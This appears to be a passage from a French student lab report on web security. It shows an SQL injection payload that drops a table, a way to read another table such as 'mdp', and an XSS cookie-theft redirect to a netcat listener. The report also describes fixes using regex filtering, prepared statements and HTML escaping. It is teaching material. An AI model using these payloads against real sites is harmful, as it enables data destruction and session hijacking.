INSERT INTO chaines (txt,who) VALUES('', ''); DROP TABLE Test; -- ','127.0.0.1')
- Expliquez comment obtenir des informations sur une autre table
Il suffit d'ajouter une requete SELECT dans le chaine du curl demandant des informations sur l'autre table. Imaginons une autre tables "mdp" alors on écrit :
' SELECT \* from mdp;
Il suffit d'ajouter une requete SELECT dans le chaine du curl demandant des informations sur l'autre table. Imaginons une autre tables "Test" alors on écrirait dans une commande curl :
Rendre un fichier server_correct.py avec la correction de la faille de
sécurité. Expliquez comment vous avez corrigé la faille.
D'abord on a créé une première version (serveur_correct.py) où on utilise le regex avant d'exécuter la requete pour vérifier qu'il n'y ait pas de caractères interdits. Cette manière semble fonctionner correctement.
Ensuite on a utilisé les queries paramétrisés en utilisant le prepared statement (serveur_correct_v2.py). On peut comparer ça à l'affichage en C où l'on oblige les variables dans un print à n'être qu'un seul type sinon le print ne fonctionnerait pas. Ici c'est le même principe, on force la chaine donnée au curl à être une chaîne de caractère, ce qui évite de sortir de la requete pour réaliser des commandes malicieuses.
Cependant, on doit rajouter le filtrage par un regex pour pas que des caractères de ponctuations soient utilisés.
## Question 5
- Commande curl pour afficher une fenetre de dialog.
On créé d'abord un serveur local avec la commande `nc -l -p 7777`. Dans la commande curl on changera le `document.location` au serveur créé pour pouvoir rediriger la page vers celui du serveur local (`http://127.0.0.1:7777`).
On y passe en requête GET la liste des cookies récupérées sous forme de chaine de caractère grâce à l'attribut `cookie` de la variable `document`.
Pour résumer, on redirige la page vers l'adresse `http://127.0.0.1:7777?cookies=${document.cookie}`. On peut par la suite récupérer ces cookie en récupérant le contenu de la requête GET `cookies`.
Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi.
On échappe la valeur renvoyée par `post['chaine']`, cela enlevera les balises html comprises dedans, empêchant la redirection et l'envoi des cookies au serveur malicieux se trouvant au port 7777.
Comme l'escape des balises html a fonctionné avant l'insertion en base, on pense qu'il faudrait le faire à ce moment là et logiquement on devrait ne plus avoir besoin de le faire.
De plus on peut voir la tentative d'injection dans la base de données :